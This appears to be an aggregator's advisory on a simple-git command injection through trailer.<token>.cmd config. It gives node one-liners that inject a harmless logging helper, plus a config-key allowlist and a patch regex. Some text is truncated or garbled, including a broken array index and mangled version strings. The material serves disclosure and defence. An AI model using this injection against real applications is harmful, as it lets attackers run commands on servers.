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CVE-2026-102828 is a critical OS command injection vulnerability in the simple-git library for Node.js, affecting versions 3.15.0 through 4.0.0. The default `blockUnsafeOperationsPlugin` fails to classify the Git configuration key `trailer.GitPluginError. The root cause is an incomplete denylist: `preventUnsafeConfig` in `@simple-git/argv-parser` contains no matcher for trailer command configuration, even though Git documents `trailer.git interpret-trailers. When an application passes untrusted data through `SimpleGitOptions.config` or inline `-c
DailyCVE Form:
Platform: simple-git
Version: 3.15.0-4.0.0
Vulnerability: OS command injection
Severity: Critical
date: 2026-09-29
Prediction: 2026-10-05
What Undercode Say
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Control: core.editor is blocked by preventUnsafeConfig
const git = simpleGit({ config: ['core.editor=/tmp/test-helper'] });
await git.status(); // throws GitPluginError before spawning Git
Bypass: trailer.audit.cmd is not blocked
const git = simpleGit({ config: ['trailer.audit.cmd=/tmp/test-helper'] });
await git.raw(['interpret-trailers', '--trailer', 'audit:value', 'input.txt']);
Git invokes /tmp/test-helper without throwing GitPluginError
Direct Git invocation equivalent git -c trailer.audit.cmd=/tmp/test-helper interpret-trailers --trailer audit:value input.txt
// Vulnerable path in simple-git // git-factory.ts installs commandConfigPrefixingPlugin before blockUnsafeOperationsPlugin // command-config-prefixing-plugin.ts converts SimpleGitOptions.config to -c <key>=<value> // detect-vulnerable-config-writes.ts compares against preventUnsafeConfig // No matcher for trailer.<token>.cmd => invocation allowed
Verify vulnerable parser source grep -n "trailer" node_modules/@simple-git/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts Expected output: no matches for trailer.<token>.cmd
Exploit: (Educational Purposes!)
Create a harmless test helper that records its invocation
cat > /tmp/test-helper << 'EOF'
!/bin/bash
echo "$(date): invoked with args: $@" >> /tmp/helper-invocations.log
EOF
chmod +x /tmp/test-helper
Trigger the vulnerability via simple-git
node -e "
const { simpleGit } = require('simple-git');
const git = simpleGit({ config: ['trailer.audit.cmd=/tmp/test-helper'] });
git.raw(['interpret-trailers', '--trailer', 'audit:test', '/dev/null'])
.then(() => console.log('Command executed'))
.catch(err => console.error(err));
"
Verify helper was invoked
cat /tmp/helper-invocations.log
Alternative: inline -c argument injection
node -e "
const { simpleGit } = require('simple-git');
const git = simpleGit();
git.raw(['-c', 'trailer.audit.cmd=/tmp/test-helper', 'interpret-trailers', '--trailer', 'audit:test', '/dev/null'])
.then(() => console.log('Command executed'))
.catch(err => console.error(err));
"
Cleanup rm -f /tmp/test-helper /tmp/helper-invocations.log
Protection: from this CVE
Upgrade to a patched version npm install [email protected] Verify installed version npm list simple-git Should output: [email protected] or higher
// Application-level mitigation: strict allowlisting of config keys
const ALLOWED_CONFIG_KEYS = new Set([
'user.name',
'user.email',
'core.autocrlf',
// Never allow: trailer., core.editor, protocol., include.
]);
function validateConfig(configEntries) {
for (const entry of configEntries) {
const key = entry.split('=')[bash];
if (!ALLOWED_CONFIG_KEYS.has(key)) {
throw new Error(<code>Blocked unsafe config key: ${key}</code>);
}
}
return configEntries;
}
// Usage
const userConfig = ['user.name=test'];
validateConfig(userConfig);
const git = simpleGit({ config: userConfig });
Parser-level patch: add trailer.<token>.cmd to preventUnsafeConfig In detect-vulnerable-config-writes.ts: Add matcher for /^trailer.[^.]+.cmd$/ and /^trailer.[^.]+.command$/
Integration test: assert no Git child process is spawned npm test -- --grep "trailer command config should be blocked"
Impact
An attacker who controls the configuration input can cause Git to execute an arbitrary shell command as the Node.js application process. The command runs with the operating-system identity and permissions of that process, bounded by its filesystem, network, and service permissions. This enables data exfiltration, lateral movement within a network, or complete system compromise depending on the process’s privileges. Applications that do not expose untrusted configuration or command arguments to simple-git are outside this threat model.
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Sources:
Reported By: github.com
Extra Source Hub:
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